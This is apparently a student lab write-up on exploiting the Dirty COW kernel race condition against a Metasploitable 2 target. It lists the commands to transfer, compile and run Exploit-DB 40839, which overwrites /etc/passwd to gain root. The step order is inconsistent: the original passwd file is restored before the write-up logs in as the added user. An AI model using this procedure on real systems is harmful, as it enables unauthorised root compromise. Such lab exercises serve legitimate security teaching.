Task #3

Dirty Cow Vulnerability

The Dirty Cow (copy-on-Write) vulnerability allows an unprivileged local user to gain root access by exploiting a race condition in the Linux kernal. This exploit has been widely used, especially on older linux kernal.

On metasploit first check kernal version:

```
$ uname -r
2.6.24-16-server
```

Steps:

1. Preparation and Download

You download the exploit code from Exploit-DB page (ID: 40839) to your kali linux machine.

2. Transfer the exploit to Metasploitable 2.

```
$ scp -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa ~/Downloads/40839.c msfadmin@192.168.100.6:~
```

3. Compile the Exploit:

```
$ gcc -pthread 40839.c -o exploit -lcrypt
```

(4) Run the Exploit

$ ./exploit

↳ The exploit successfully backedup the /etc/passwd file to /tmp/passwd.bak and then modified the /etc/passwd file to create a new user (firefart) with the password demo

↳ The exploit then instructed you to restore the original /etc/passwd file from the backup:

$ mv /tmp/passwd.bak /etc/passwd

(5) Verify Root Access:

↳ After restoring the /etc/passwd file you logged in as firefart and confirmed root access by running:

$ id # output showed uid=0 (root)

$ uname -a # confirmed running a vulnerable kernal version (2.6.24-16)

(6) Perform any task to verify

```
$ touch /root/testfile

$ echo "Test file created by root" >
/root/testfile

$ cat /root/testfile
```

This exploit uses the pokemon exploit of the dirty cow vulnerability as a base and automatically generates a new passwd line. The user will be prompted for the new password when the binary is run. The original /etc/passwd file is then backed up to /tmp/passwd.bak and overwrites the root account with the generated line. After running the exploit you should be able to login with the newly created user.